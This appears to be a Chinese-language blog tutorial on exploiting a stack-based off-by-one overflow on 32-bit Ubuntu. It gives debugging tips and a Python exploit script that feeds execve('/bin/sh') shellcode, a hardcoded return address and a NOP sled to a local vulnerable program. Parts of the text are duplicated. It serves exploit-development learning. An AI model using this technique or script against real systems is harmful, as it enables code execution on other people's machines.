Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)

Off-By-One 漏洞 (基于栈)

原文地址:https://bbs.pediy.com/thread-216954.htm

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

懒得粘贴了,还是看原文吧,仅对部分作出解释。

这篇全文解释的都特别清楚,我仅说下我调试过程中遇到的坑。

首先是这个使用的是core文件调试,编译选项gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c

请注意没有使用-g选项,那么就不是debug模式,没有debug模式,调试的时候就没办法在源码上下断,所以只能使用core文件进行。

使用core文件调试的办法,作者也给出来了,但是我运行Python exp.py后,却没有core文件。经过查询资料,使用ulimit -c命令查询后,发现值为0,原来是系统默认(?)不允许创建core文件,修改限制,使用ulimit -c 1000修改

修改后,正常的生成了core文件。

还有一个比较坑的点是,gdb调试出的buf地址和真正运行的release版本的buf地址并不相同,偏移也有变化,需要特别注意。

还是老规矩,分享下我调试成功的exp.py文件

 1 #exp.py
 2 #!/usr/bin/env python
 3 import struct
 4 from subprocess import call
 5 
 6 #Spawn a shell. 
 7 #execve(/bin/sh) Size- 28 bytes.
 8 scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89$
 9 
10 ret_addr = 0xbffff426
11 
12 #endianess conversion
13 def conv(num):
14  return struct.pack("<I",num)#turn Address + NOP's + Shellcode + J$
15 buf = "A" * 68
16 buf += conv(ret_addr)
17 buf += "x90" * 30
18 buf += scode
19 buf += "A" * 126
20 
21 print "Calling vulnerable program"
22 call(["./vuln", buf])

Off-By-One 漏洞 (基于栈)

虚拟机安装:Ubuntu 12.04(x86)

什么是off by one?

将源字符串复制到目标缓冲区可能会导致off by one

1、源字符串长度等于目标缓冲区长度。

当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。

一如既往的充分的定义,让我们来看看off by one的漏洞代码!

漏洞代码:

原文地址:https://www.cnblogs.com/jourluohua/p/8994209.html